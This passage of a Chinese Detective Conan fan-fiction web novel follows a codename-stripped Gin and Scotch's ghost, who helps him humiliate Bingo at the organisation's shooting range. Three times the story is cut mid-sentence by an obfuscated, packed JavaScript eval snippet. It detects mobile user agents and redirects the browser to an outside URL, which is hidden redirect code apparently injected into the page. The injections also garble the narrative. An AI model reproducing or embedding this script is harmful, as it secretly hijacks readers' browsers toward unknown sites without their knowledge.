一颗子弹从枪膛射出,夹带的冲击波让苏格兰不禁放开了手。他和琴酒距离极近,按理是来不及躲的,好在子弹接触到他的瞬间,灵体有意识般朝四周散开。 错愕的表情定格在苏格兰脸上,他胸口破了个大洞,是成人拳头都能探过去的宽度。 那颗子弹透过空洞,直直飞向天花板。 “啧。” 琴酒不屑嗤了声。这是他第一次见鬼,原来影视里说鬼没有实体,是真的。换言之,什么武器都伤不到苏格兰。 他冷着脸等待承受苏格兰的怒火,毕竟被偷袭,发怒也很正常。谁知下一秒,苏格兰竟脸色痛苦地从琴酒身上倒下去。 苏格兰滚下沙发,汗流如浆,狼狈地瘫坐在地上大喘气,琴酒注意到苏格兰的手一直抚着胸口破洞的位置。 电光火石间,他想起自己曾检查过苏格兰的尸体——这家伙是被赤井秀一一枪打爆胸口而死的。 哪怕是鬼也会被生前致自己死亡的东西吓到吗? 可谁让苏格兰没防住赤井,被一枪干掉了?蠢货果然是蠢货。 琴酒没有愧疚,面无表情地曲腿从沙发上站起来,他看也没看苏格兰一眼,径直走向浴室,手放上握把时,突然想起乌丸办公室那个爆裂的马克杯。 不管怎么说,当时当刻,苏格兰也替他解围了。 琴酒没回头,“我打翻你的香炉,你害我丢代号,我们扯平,你滚吧。” 说完,琴酒走进浴室,把那道黏在后背的视线挡在门外。 哗哗—— 浴室里响起源源不断的水声。等琴酒洗完出来,客厅里已经不见苏格兰仓皇的身影,唯独阳台的风铃还在自顾自旋转。 “叮叮当——叮叮当——” * 琴酒难得睡了个好觉。第二天,他走到客厅,一眼瞥见香炉里那烧了半截的香,又联想到昨晚苏格兰贪婪进食的模样。 琴酒按按额角摒除杂念,环顾四周时没发现窥探的视线,这让他阴霾许久的心情也跟着明媚起来。 等洗漱完毕用完早餐,琴酒照例去地下停车场取车,虽然没了代号,但保时捷是他自己花钱买的。 琴酒在停车场遇到等候多时的伏特加,对方一见他,就三步并两步迎上来,“大哥,我来接您上班。” 伏特加脸上带着讨好的笑,细看会发现紧绷的嘴角有些小心翼翼的味道,琴酒真不知是说他愚蠢还是粗线条更好。 琴酒脚步不停往前走,“我已经没有代号,你也不用再来接我上班。” “可在我心里,您永远是我大哥,接大哥上班是天经地义的。” 那掷地有声的反驳震得琴酒耳膜都痛,他调整下表情转身,伏特加倔强的身影映入眼帘。 “如果我是你,就会立刻去找一个新靠山。被人轻视的感觉,你最清楚,不是吗?” 一句话,成功让伏特加身形微僵。 “大哥——”他声音颤抖道,仿佛背地里做了什么坏事被琴酒察觉。 琴酒甩下伏特加独自上车,车启动不久,车内温度迅速下降,窗户上凝结一层薄雾。副驾驶座上缓缓浮现团白影,那白影逐渐清晰,直到变成让琴酒倍感头疼的讨厌鬼——苏格兰。 “你为什么老对伏特加这么凶?” “你又为什么老阴魂不散?” “但我知道你是个好人,否则你不会在伏特加被宾加欺负的时候挺身而出。” 琴酒不由皱眉,“你那时候也在?你到底还有什么瞒着我?” 苏格兰犹豫了下转移话题:“能把窗关上吗?太阳太晒了,我身上有点痛。” 琴酒瞥他一眼让他滚,苏格兰没办法,只好自己动手。琴酒眼睁睁看着,车窗在他没碰任何按钮的情况下升起来。车内变得一片昏暗,可苏格兰还嫌不够,回头,试图抓取琴酒放在后座的备用薄毯。 他伸出的手苍白细瘦,每次都能精准地穿过薄毯,捞到空气。 几次尝试后,苏格兰低头沮丧。琴酒一副看热闹的心态,瞥见他衬衫焦黑的下摆和衣服下若隐若现的皮肤,眼神一顿,没好气地从鼻腔憋出声冷哼。 他长臂一伸,捞起薄毯扔在苏格兰身上。 苏格兰先是一愣,而后迅速把自己从头到脚整个盖住。他双手攥着薄毯,从底下露出双无辜的猫眼对琴酒笑,“多谢,我就知道你本性不坏。” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004652|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>怪不得能跟伏特加做朋友。 * 琴酒一进组织,立刻被叫到朗姆办公室。朗姆双手托下巴,坐在放置了地球仪的办公桌后。 “哎呀,我都没想到自己能有管辖你的一天,Gin。说实话,我觉得你太可惜了。如果愿意说出是谁搅乱了任务,也不至于变成现在这样。反正肯定不是你,对吧?” 他说着“可惜”,嘴角却恨不得咧到耳朵根,少顷,猛然想起似地,“对了,现在不能叫你Gin。那叫什么?阿阵可以吗?你师傅以前经常这么叫你吧。” 『阵』是琴酒的名。 琴酒不会被朗姆这种小伎俩激到,眉都不皱一下回答:“废话少说,有什么事要我做?” …… 片刻,琴酒出现在射击场,周围围了一群近期招募的新人。琴酒一眼看出他们不是什么有用的材料,那细瘦的胳膊,软趴趴的皮.肉,还有一踹就会倒下的双腿。 这群人却浑然不知,像精力旺盛的麻雀一直叽叽喳喳:“啊,您就是琴酒先生吗?那个组织里鼎鼎大名的Top Killer?” “我已经不叫Gin,你们可以叫我黑泽。” 新人们你看看我,我看看你,每人脸上都挂着迷惑的表情。但琴酒身高很高,气场又太强,让他们不敢追问原因。 过了好一会儿,才有个看上去最活泼的男人深吸口气打破僵局,“无论如何,都谢谢您愿意来指导我们。前几天,一批同期被挑走了,我们还以为自己没了希望,要被安排去扫厕所呢!” 果然如此。 琴酒毫不意外,朗姆不可能把好苗子留给他,为的只是把他扔在一群无望的垃圾里,消耗他的精神罢了。 琴酒嘲讽一笑,拍拍手,“先让我看看你们的能耐。” 第一项,组枪。 因为没代号成员很难预定到场地,在场12个人,有一半以上是第一次见枪,更别提了解枪的内部构造。光是示范,琴酒就做了三次。他们中,有人能把枪完整地拆下来,不缺少零件,已经算奇迹。 第二项,射击。 比刚才更糟,12人里,只有两个曾经和朋友在游乐场用枪打过气球。其余人有的开枪前会忘记撤下保险栓,有的承受不了后坐力,有的甚至会被枪声吓到。 能打中靶子的一个都没有。 『无望』。 这是大多数带教训练新人时,唯一的感受。 琴酒面无表情看着。突然,一道幸灾乐祸的声音从旁边插.进.来。 “你居然沦落到这种地步啊,Gin?” 琴酒不用回头,就知道来人是谁——朗姆的走狗,宾加。 “你有事吗?”琴酒抱着胳膊问。 “当然,我需要来练枪。你懂规矩的吧?代号成员要用射击场的时候,没代号的成员无条件避让。” 琴酒漫不经心瞥他一眼,命令新人们让位。 新人们表情不忿,却深知等级差异,敢怒不敢言退在一边。 宾加趾高气昂站到场中央,戴上降噪耳机,拿起枪,随着远处的靶子竖起,他利落地扣动扳机。 子弹像离弦的箭冲出去,眼看就要击中靶心,一道白影闪过,那子弹如被空气墙挡住,以诡异的角度掉落到地上。 这一幕发生极快,白影的出现和消失都只是眨眼功夫。在外人看来,是宾加技术不精,琴酒却瞧得明晰,是苏格兰那家伙先截住子弹,再狠狠丢弃。 琴酒勾了勾唇。 冰冷的女性机械音从头顶响起: “代号成员宾加,第一次射击,脱靶!” 射击场里静悄悄的,被宾加看不起的新人们大气不敢出喘一声,生怕触到霉头。打破寂静的,是琴酒一声短促的嗤笑。 “呵——” 果不其然,原本背对他们的宾加听到后,立刻转过身,扭曲着脸,气势汹汹朝琴酒走来。 “你笑什么?” “没什么,突然喉咙痒而已。” “……”宾加看着周围那群新人欲盖弥彰的视线,顿时怒从中来,一把揪住琴酒的胳膊,“你,进来陪练!” “什么?” 宾加盯着琴酒,眼里满是不怀好意的笑:“没代号的成员有义务向有代号的成员提供陪练,你不知道吗?” 8.Ch08. 射击场反击 《琴酒的阴湿鬼男友》 /系田 宾加的挑衅根本不值一提,琴酒用看垃圾的眼神睨他,眼底还藏着几分兴味。 “你要怎么练?” “很简单,模仿西部牛仔,我们一人一把枪,直到子弹射完为止。” 周围的新人不约而同倒吸口冷气:“用真枪吗?这么近的距离?” 琴酒面不改色:“可以。考虑到我更常接触枪,我用彩弹,外加蒙眼。” 此话一出,新人们一片寂静,他们你看看我,我瞧瞧你,眼里全是对琴酒的崇拜和不可置信。 这一幕让宾加五内俱焚,他本是给琴酒一个下马威,怎么能容忍这场枪斗变成对方的个人秀? 他当即冷笑:“倒也不用这么委屈,我也能戴眼罩。” 至于改用彩弹,宾加绝口不提。毕竟是琴酒妄自尊大,哪怕受伤甚至死掉,也是琴酒自找的! 琴酒似乎早料到宾加反应,薄唇勾起一抹轻笑:“随便,不过我有个要求。” “什么?” “如果我中弹数更少,你就要以自己的名义每天预定射击场三小时练习,连续一个月。” 这话像扔进沸锅的一粒石头,激得场内嘟咕嘟咕冒泡。新人们激动地扯着对方的袖子,或呼吸加重,“琴酒大人,您……” 他们知道,琴酒这个要求都是为了能让他们有更多时间练习。 宾加却忽地发出一声冷嗤:“琴、酒、大、人?恐怕你们还不知道,这家伙因为昨天任务失败,已经失去代号了吧?也对,谁会把这么丢脸的事主动说出来呢?” 宾加阴阳怪气说完,故意去窥琴酒神色,他想看琴酒狼狈的模样。 新人们无声交换下眼神,先是疑惑,而后恍然大悟。之前最活泼的那个深吸口气站出来反驳:“才不是!琴……大人一来就告诉我们应该叫他黑泽,是我们一时激动,忘记了而已。” 宾加不屑瞥一眼新人,见他们个个瞪圆眼珠,像狼崽般拥护中间的琴酒。想要的结果没达到,他反而成被打脸那个。 宾加胸中的怒火愈演愈烈,正要再说些什么讽刺,琴酒却无视他的愤怒先一步走向射击场,经过他时丢下一句:“别浪费时间,要练就赶紧。” “……” 琴酒和宾加面对面站在射击场,巨大的玻璃罩降下,保证观众不被子弹波及的同时,也隔绝声音的内外传递。 宾加选了“沙漠”背景。一根长长的塑胶管无声从角落探出,滚滚黄沙由此运输到场内,片刻便堆积到两人脚踝位置。 耀眼的太阳是全息投影,虽然形是假的,炙烤的高温却实打实,连场外的新人都感觉脸庞火辣辣地疼。 他们看傻了眼:“组织设备都这么高科技?” “我哪儿知道啊,我又没资格用。” 他们沮丧起来,也因此更期盼琴酒,噢不,黑泽先生能够获胜。 冰冷的机械音从头顶响起: “请场内两位成员戴上眼罩,转身,根据数字提示向前迈步,倒计时结束,方可开枪射击。” “准备——” 戴黑眼罩的琴酒和宾加齐齐转身。 “一。” 他们各自迈出一步,琴酒的银白长发随动作在半空微微飘荡,宾加的满头发辫犹如蜈蚣张牙舞爪。 “二。” 场外新人们屏住呼吸,不约而同在心中为琴酒默默加油。 谁也没想到,不等机器报出数字三,琴酒对面的宾加竟突然转身,一颗子弹从枪膛破空而出,精准地射向琴酒后背。 砰—— 场内响起震耳欲聋的轰鸣,场外新人听不到,他们只看见那颗子弹擦着火光朝琴酒冲过去,一下子心脏都跳出嗓子眼。 他们赶忙三步并两步,焦急地上前拍打玻璃:“黑泽先生!” 可玻璃是完全隔音的。这一幕发生得太过突然,连在琴酒身旁的苏格兰也完全来不及反应。 正当大家以为琴酒要被击中,他后背像长眼睛似地利落弯腰躲避。 那子弹擦着他凸起的脊柱骨击中玻璃,又反弹,埋在不见底的黄沙当中。 “还真是你的作风啊,宾加。” 琴酒转身,依旧保持戴眼罩的模样,面不改色讽刺。 宾加一击未中,心中灼灼燃烧的怒火顿时到达顶峰。他摘掉眼罩甩在地上,又一枪不依不饶地发射出去。 扑—— 可这次,不知怎么的,子弹竟没能射出,仿佛堵在枪管里,发出奇怪的异响。 就在扣下扳机的前一秒,似乎有只冰冷虚幻的手在他枪口轻轻一拂,快得如同错觉。 “该死!”宾加暗骂一声,当机立断扔掉枪,像支离弦的箭朝琴酒冲去。本来,他擅长的就不是射击,而是拳脚。 他的路数奇特,综合了巴西柔术和泰拳的优势,变换之快,如蝎如蛇,让人目不暇接。一瞬间,两人扭打在一起。 即便这样,琴酒还是没有摘下眼罩,而是听声辨位,当宾加的左勾拳袭来,一阵劲风刮面,琴酒抬手阻挡。 “还手啊废物!你该不会是想到你的师傅斯汀格,不敢还手了吧!” 话音刚落,宾加胸口猛然一痛,低头看了才发现他竟不知什么时候中了弹。弹是彩弹,要不了他的命,但疼痛依旧像要震碎胸骨,惹得他龇牙咧嘴。那鲜红的颜料比血夸张,从他夏威夷买的花衬衫上汨汨流下,让人不禁怀疑他快死了。 “你——” 他刚说出口,又被琴酒迎面泼沙,只见琴酒长腿一踹,黄沙就像满天的雪花模糊了宾加视线。 琴酒柔顺的银发在半空划个圆弧,泛着光泽。 很快,琴酒射完六枚子弹。他已然空枪,宾加被逼得连连后退,突然脚下一滑,摔了下去。 他没料到,原本用来阻碍琴酒步伐的黄沙居然让他狼狈至此! 滚烫的黄沙灼痛宾加的手,但这一摸,也让他摸出了新东西——那把刚才被他舍弃的枪。 那边,琴酒慢悠悠摘下眼罩,正欣赏着宾加被红颜料浸满的衬衫,见对方拔枪逼近自己,竟也不躲不闪,反而好脾气劝道:“我劝你不要,这种被子弹堵住的枪最容易走火……” 话音未落,砰! 监控里响起声短促的枪响,不知从哪儿冒出来的警车冲到直升机前,替鉴别专家直美.阿尔简特挡下致命一击。 搜一会议室里,目暮警官对着电视按下暂停键。 “我们已经派相关技术人员查证,案发当天佐藤和高木驾驶的警车刹车装置确实有点问题,但不至于从斜坡冲出这么长的距离,而且恰好停在直升机前。” 自从暗杀直美的案件发生,搜一全员都在尽力追查嫌犯,但警车的失控始终是让他们百思不得其解的难题之一。 高木环顾房间内冥思苦想的众人,挠挠头乐观地举手说:“那个……其实我们有必要在这个问题上花这么多时间吗?把它当成是上天保佑,不就好了?” 话音刚落。 “抱歉,这件事我持反对意见。”人们纷纷循声而去,目光聚焦处是刚调来搜一的诸伏高明。高明在众目睽睽下,依旧不慌不忙阐述自己的看法,“虽然这次警车失控正好帮了我们,可难保下次不会成为我们追捕罪犯的阻碍。所以,我认为还是搞清楚缘由的好。” 此话一出,警员们陷入沉思。 “高明君说得对,还是要搞清楚,免得被犯罪分子钻了空子。” 意识到自己神经大条说错话的高木,赶忙起身,满脸通红地连连弯腰道歉。 监控重新播放。 “等等。”高明突然出声,“麻烦往前倒一点儿……差不多就在这儿。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011886|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他请求目暮按下暂停键,并放大这一帧,随后迈开长腿走到电视机旁,伸手一指,朗声问:“这是什么?” 众人一愣,顺势望去,失控的警车内,高木身前有团白影,乍一看,似人形。TA身体前倾坐在那儿,一手虚握变速杆,竟像是在操纵警车! …… 会议结束,众人因这一发现寡言少语。他们是警察,不该怪力乱神,但监控上的白影怎么解释? “也有可能是过度曝光造成的,听说这是以前的灵异综艺里常用的把戏。”白鸟冷静地说,眼睛深处却不很自信。 高明起身往外走,佐藤犹豫了下,也踩着黑色平跟鞋追出去。她在自动贩卖机旁发现正准备买饮料的诸伏高明。 “诸伏警官,我来吧。” “这怎么好意思。” “没关系的,多亏你观察入微,我们才能有新发现。还有你提醒火车来了那次。” 过度拒绝也是种不绅士的行为,高明从善如流接受了,“那就恭敬不如从命,我要……玉米汁就好。” 玉米汁是弟弟景光常喝的东西,对他来说,有点过于黏腻了。 咕嘟一声,佐藤捡起掉落的玉米汁罐头递给高明。她观察高明的脸色,“诸伏警官,有件事我比较好奇……” “是想知道我为什么会申请调过来吗?” 佐藤眼里闪过抹讶异,再次对高明的敏锐有了新认识。 “对,”她抿了口手中苦涩的烘焙咖啡,“不介意的话,可以替我解惑吗?” “当然。我是为了找失踪的弟弟过来的。直美小姐主要负责研发的鉴别系统对我很重要。”他转头,目光悠远望向远方,早晨和煦的阳光洒进他眼睛。 “所以,无论是这次实施暗杀的罪犯,还是失踪的弟弟,我都要找到。” 一瞬间,佐藤被高明话里的坚定震住了。那种不用拔高嗓音,从从容容,却让人不自觉相信的力量,正是她一直追求的。 “真厉害啊——”她情不自禁说。 “真厉害啊——”外面的众人一拥而上,把刚从射击场走出的琴酒团团围住。 几秒前,宾加不顾琴酒劝阻,偏要开枪,结果新人们只看见一阵刺眼的火光,枪管当场爆裂。 距离很近的琴酒毫发无伤,反倒宾加那个不怀好意的,手指间豁了好大的口子,流血不止,还能隐约窥见里面的骨头。 “这叫什么?这就叫多行不义必自毙!”新人里最活泼的那个叉着腰,扬眉吐气说。 另一个见琴酒脸上被晒得泛红,赶忙献宝般递上自己的防晒霜,“快用这个,黑泽先生。虽然组织科技很发达,但这也太晒了。” 尤其琴酒皮肤白,晒出来的红晕格外明显。令人心疼的同时,模样倒也比刚才和善少许。 “哈?横田,你一个大男人居然随身带防晒啊?” 没等横田说话,那个最活泼的就嚷嚷起来: “那咋了,男人不能防晒了?告诉你,你这都是陈旧的老观念!” 那人抽空对琴酒谄媚地笑笑:“我叫仲原,黑泽先生。” 接下来,大家都争先恐后报上自己的名字。 他们亲眼见证琴酒在刚才的“练习”中把『代号成员』宾加打得毫无还手之力。 失去代号又怎样?黑泽先生就是上天派来拯救他们的神,是他们翻身的希望! 琴酒一边漫不经心听着新人们说话,一边目光飘向射击场内那道仅他可见的人影。或许是里面温度太高,原本白色的影子变得近乎透明。 苏格兰像察觉他的视线,缓缓抬头,两人隔着玻璃四目相对。 这一刻,琴酒明白一个道理。 要想回到原位,甚至爬得更高,这个苏格兰是不可或缺的。 不可或缺的—— 『工具』。 9.Ch09. 传说中的TK 《琴酒的阴湿鬼男友》 /系田 新人们还在为琴酒的胜利欢呼,琴酒本人已经把目光从苏格兰转向宾加。 这个几分钟前还趾高气昂的男人捂着血流不止的伤口,踉踉跄跄从黄沙里站起来。 “横田,去拿急救箱。” 琴酒声音不大,却像道无形的命令,瞬间抽空场内其他声音。新人们的喜悦僵在脸上,你看我,我瞧你,眼里充斥着不解和抗拒。 “……黑泽先生?”横田以为自己听错了。 “怎么,听不懂我的话?” 琴酒脸色微微一沉,周围的空气就仿佛凝固,连室温都跟着骤降几度。 横田吓了一跳,瑟缩下脖子,忙不迭转身往准备室跑。 可他自己都没用过几次射击场,哪儿知道急救箱的位置? 时间一分一秒过去,除了远处横田慌乱的翻找声,就只有琴酒抱着胳膊,用指节敲击前臂的节奏,这节奏好像秒表,每一次都精准踏在众人心上。 很显然,琴酒的耐心正以肉眼可见的速度消失。 不知过了多久,“横田”终于去而复返,抱着个红色箱子气喘吁吁出现在琴酒面前。 “黑泽先生,给。”他脸上带着任务完成后的庆幸。 “横田”一靠近,琴酒便感觉阵熟悉的寒潮扑面,他略一挑眉,接箱子的瞬间,状似不经意用指甲刮擦“横田”手背,那触感像冰,完全不似活人。 琴酒余光迅速扫过全场,玻璃罩内,哪儿还有先前那道模糊的鬼影? 呵,还真是喜欢多管闲事。 琴酒从急救箱里取出卷崭新的止血带,大步流星朝玻璃罩走去。他把止血带径直扔进宾加怀里,“处理伤口的事,总不需要我来代劳。” 谁知宾加看都不看一眼,伤痛夹杂恼怒,竟狠狠把止血带甩在地上,“少踏马假惺惺,带着你的东西给老子滚!” 话一出口,新人们纷纷屏住呼吸,大气不敢喘一声。 琴酒却只是不以为意地“啧”了声,随后,猛地一拳朝宾加砸去! “砰!” “啊——” 周围响起阵此起彼伏的惊呼。 这一拳又狠又准,连擅长格斗的宾加都来不及防备,被砸中鼻梁,往后摔倒在地上。 鲜血从他鼻中涌出,跟伤口的血一起,染红了身.下这片黄沙。 宾加抬手一抹,见满手鲜红黏腻,顿时怒火直冲头顶,“琴酒,你这家伙……” 话音未落,琴酒已然逼近,拽住他受伤的手,硬生生将人从地上拖起! “呃啊啊啊啊啊——” 凄厉的惨叫在密闭空间回荡,几个胆小的新人当即捂住耳朵不忍再听。 “生理盐水。”琴酒头也不回地吩咐。明明也没指名道姓,“横田”却像笃定在叫自己,一个箭步,把拆封好的盐水袋递到琴酒眼前。 哗啦—— 小半袋冰凉的液体从半空倒下,流过血肉模糊的伤口,带走表面粘着的粒粒黄沙。 “纱布。” 话音刚落,早准备好的纱布又已经送到。琴酒微微偏头,对“横田”勾唇一笑,看起来十分满意。 他用纱布清理宾加伤口残留的血迹,还有顽固的污物。 这两步做完,宾加的疼痛明显缓解,他却不愿显露分毫,反而皱着眉咬牙切齿问:“你到底想干什么?” “让你心甘情愿帮我预订射击场。”琴酒理所当然回答。 “……”宾加的表情像活吞了一只苍蝇。 琴酒视而不见,又对“横田”下令:“用镊子帮我夹住伤口。” “了解。” “横田”俯身,镊子前端精准夹住伤口两边外翻的皮肤,用力往中间聚拢。这突如其来的疼痛让宾加眼前一黑,另一只手死死捏住地面黄沙,用力到指节泛白。 新人们看得心惊肉跳。 “横田他……什么时候这么……” “不知道,感觉像变了个人……” 就在这时,琴酒指间粗长的缝合针寒光一闪。 “等等!”宾加冷汗涔涔,声音里藏着自己都未曾察觉的恐慌,“麻醉呢?” 琴酒动作一顿,撩起眼皮,惊诧地睨他,“你还需要麻醉?” 那眼神里的讥嘲毫不掩饰,仿佛下一秒就要溢出,宾加被这样的眼神注视,浑身因愤怒发烫,请求的话也硬生生憋回嗓子眼,“……当然不用,你直接来吧!” “噗嗤——”“横田”见状,竟不自觉笑出了声。 琴酒和宾加同时面无表情看向他,他立刻收敛,“抱歉。” “夹.紧.了。”琴酒冷声提醒,下一秒,毫不犹豫地用针刺进宾加皮肤! “唔……”宾加身体剧烈一震,他咬紧牙关,口腔弥漫起浓重的血腥味,能清晰感觉到尖锐的针带着缝合线穿过层层组织障碍,那种坚韧湿滑的摩擦感。 汗水如浆流淌。 宾加模糊的视野里,琴酒一双橄榄绿的眼眸毫无波动,仿佛在完成件没有生命的艺术品。 “……太可怕了,不用麻醉……” “这就是代号成员吗……” 新人的窃窃私语仿佛来自另一个时空,唯独疼痛漫长,犹如汹涌潮水,反复冲刷他敏感的神经。 不知过了多久,可能是一个世纪,就当宾加以为自己要失去意识时,琴酒剪断线头,在他耳边天降甘霖般说出那两个字:“好了。” 一瞬间,宾加觉得自己都快爱上对方。 他颤抖地长舒一口浊气,垂眼看向自己伤口,那缝线干净利落,很是琴酒的风格。 琴酒起身收拾,边擦掉风衣上溅到的血,边对“横田”说:“把该消毒的消毒完再走,懂?” “横田”温顺一笑,眼神好像无害的绵羊,和刚才的冷峻判若两人,“知道了。你去休息吧,黑泽先生。” “切——” 琴酒走出玻璃罩,新人们不约而同让出通道,目送他的眼神憧憬中掺杂些许惶恐—— 无论射击还是急救,都带着股残酷的味道。 难道传说中的TK完全没有感情? 望着琴酒即将离开的背影,宾加拼尽最后一点力气,嘶哑地开口:“就算……你帮我也没用。上面已经把你失败的任务……交给我了。你休想再爬上去! ” 琴酒笑了笑,转身走回宾加面前,拍拍他的脸。 “是啊,我当然知道。因为就是我向Boss推荐你的。” 这话一出,射击场的新人们相互交换眼神,更深刻地认识到琴酒在管理者心中的地位,而宾加脸色剧变。 “你说什么?这不可能!” 琴酒不欲多言,留下句听不出情绪的“那你加油”就准备离开。 但他的内心深处疑窦丛生。 暗杀系统研发专家的任务居然真交给了宾加?可据他所知,宾加从未执行过暗杀,反而参加IT更多。 难道任务内容有变? …… “可恶!” 直到人群散尽,宾加猛地一拳砸在沙地上,牵动伤口的剧痛却远不及他心中的屈辱和愤怒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021364|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而琴酒消失的背影就像座冰冷大山,镇压在他的视野尽头。 走廊暗处,目睹了这一切的伏特加转身离去。他掏出西装口袋被揉皱的纸团,上面写明时间地点,还有句挑衅味十足的“有种单挑”。 是宾加在任务前一天塞进他手里那张。约定地点在…… 伊吕波寿司店。 * 中午,横田迷迷糊糊走出厕所。一到走廊,就被那群共同为代号奋斗的兄弟团团围住。 和他关系最好的仲原一把搂住他的脖子,“好啊你小子,居然瞒这么严。” “就是就是,要不是今天,都不知道你会缝合。” 大家在横田耳边七嘴八舌,被夸赞的横田本人却完全摸不着头脑。他被仲原搂得快窒息,赶忙拍两下对方胳膊。 仲原愤愤不平地松开他。 横田抬头,对上众人期盼的眼神,清清沙哑的嗓子,犹豫下说:“抱歉,但我真不知道你们在说什么。” “哈?” 眼看仲原又要冲上来给他“爱的抱抱”,横田着急躲开,警惕地缩在墙角,“是真的。实际上,自从黑泽先生打败宾加,我就昏昏沉沉,浑身发冷,压根儿不知道后来发生了什么!” 仲原也不闹他了,反而忧心忡忡地摸起他的胳膊。明明是大夏天,横田裸.露在外的皮肤却还残存地窖般的寒冷。仲原跟着起了层鸡皮疙瘩。 “啧,怎么跟冰一样?射击场也没这么冷啊,而且我记得你还怕热呢!” 听到这话,众人面面相觑。好半会儿,才有人活跃气氛般说:“啊,我在油管上看过这种。该不会横田,你其实有那种特别厉害的双重人格吧?” “对对,我也看过。说不准是鬼上身了哈哈哈。” 眼看大家的猜测越发不着边际,仲原忍无可忍一声暴喝:“喂!你们这群家伙,没看到横田吓得脸都白了吗?” 话音落,走廊陷入死一般的寂静,诡异的气氛在众人间蔓延…… * 另一边,地下车库 和横田的寒冷不同,苏格兰感受到的是活人炽热的体温。他没想到,这寻常的体温竟让他恶心,像吃了块过腻的肥肉,不住地靠着柱子干呕。 “呕——呕——” 激烈的声音在地下车库回荡,直到一阵脚步声由远及近。 踢踏踢踏—— 苏格兰并不在意,依旧沉浸在呕吐的晕眩中。在以鬼魂形态恢复意识之初,他就不厌其烦地在不同人前晃荡,结果证明,只有琴酒能“看得见”他。 为什么? 难道就因为那晚琴酒踢了他的遗照? 思索间,那脚步声停在苏格兰面前。他抬起头,映入眼帘的是双波澜不惊的绿眼—— 那个“唯一”的人正抱着胳膊,漫不经心睨他,神色间有种居高临下的傲慢。 “你这是怎么了?半死不活的样子。” 苏格兰佯装没听出琴酒语气里的嘲讽,虚弱道:“不确定,可能是这次附身的时间太久了。” 从帮宾加处理伤口,到听从琴酒的指挥清理工具,少说也有一个小时。 “原来如此,那还真是活该。” “你!” 苏格兰猛一瞪眼,对上琴酒高高翘起的唇角。他从没见过对方这么肆意的笑脸,一时间有些怔愣,连责备的话都忘了要说。 或许是被盯得太久,琴酒又脸色微沉,“好了,跟我走。” “去哪儿?”苏格兰下意识问。 “回家,吃点能让你恢复元气的东西。” 10.Ch10. 喂香 《琴酒的阴湿鬼男友》 /系田 『家』这个词触动了苏格兰。他不假思索跟上去,琴酒却不顾他的身体情况,越走越快,越走越快…… 苏格兰上车时,琴酒已经在驾驶座等候多时,他不耐烦地用指节拍打方向盘,见车内泛起和之前一样的寒冷雾气,头也不转地说:“希望你记住,我的耐心有限。” “还不是因为你走得太快?” “嗯?” 琴酒从鼻腔憋出声冷哼,脸上写满不爽,苏格兰见状,莫名联想到高傲的黑猫。他识相闭嘴,沉默会儿说:“我应该走快点儿。” 琴酒满意地笑笑,脚踩油门,轮胎压过向上的斜坡,朝出口驶去。 头顶一片晴朗,灼热的阳光照射到挡风玻璃的瞬间,琴酒拽过后座的薄毯精准扔到副驾驶座上。 “把自己盖好,别魂飞魄散了。” …… 回公寓后,琴酒率先进门,他赤脚走进客厅,“哗啦”一声,窗帘被不留缝隙地拉上。 偌大空间陷入一片昏暗,对常人而言有些沉闷的氛围,却是琴酒最喜欢的。 或许现在还多了个苏格兰。 鬼魂苏格兰倚在门框边,刚才那段车程,他离开横田身体的时间拉长,恶心感也逐渐消退。 “多谢……”他有气无力说。 琴酒置若罔闻,自顾自走到玻璃茶几前。他拿起昨晚用过的香炉,就地跪坐。一缕银色发丝随他的动作垂落胸前,他不在意,修长的手指拨弄香灰,指尖沾染些许灰白。琴酒捻了捻,又打开香盒,精挑细选,最终捡了根最顺眼的细香。 他掏出打火机,噗嗤一声。 银质的打火机里冒出簇幽蓝火焰,被点燃的香插进纯黑,雕刻着水纹的香炉,烟雾袅袅升起,给琴酒英俊的面容蒙上薄纱,更增添几分神秘和阴郁的气质。 “过来。”他头也不回地告诉苏格兰。 苏格兰从中听出几分命令的味道,因此没挪一步。 琴酒于是捧香炉起身。他并不靠近,而是隔着段距离面无表情和苏格兰对视。那细香兀自燃烧,氤氤氲氲。不一会儿,香的顶端变白,眼看灼热的香灰要掉下来弄伤琴酒手背,苏格兰抿抿唇,板着脸快速倾过来。 一阵带怒意的风拂过琴酒脸颊,苏格兰赶在香灰掉落的前一秒让它改变方向,不是掉在琴酒手背,而是赤.裸的脚边。琴酒的脚背白皙细瘦,隐约可见青色经络,和污浊的香灰对比鲜明。 “你威胁我?” “原来你不是聋子。” 琴酒勾唇一笑,脸上有种“获胜了”的得意。他把香炉递到苏格兰眼皮底下,“吃。” 苏格兰咽下口气,“……你就不能把香炉放桌子上?” “不能。” 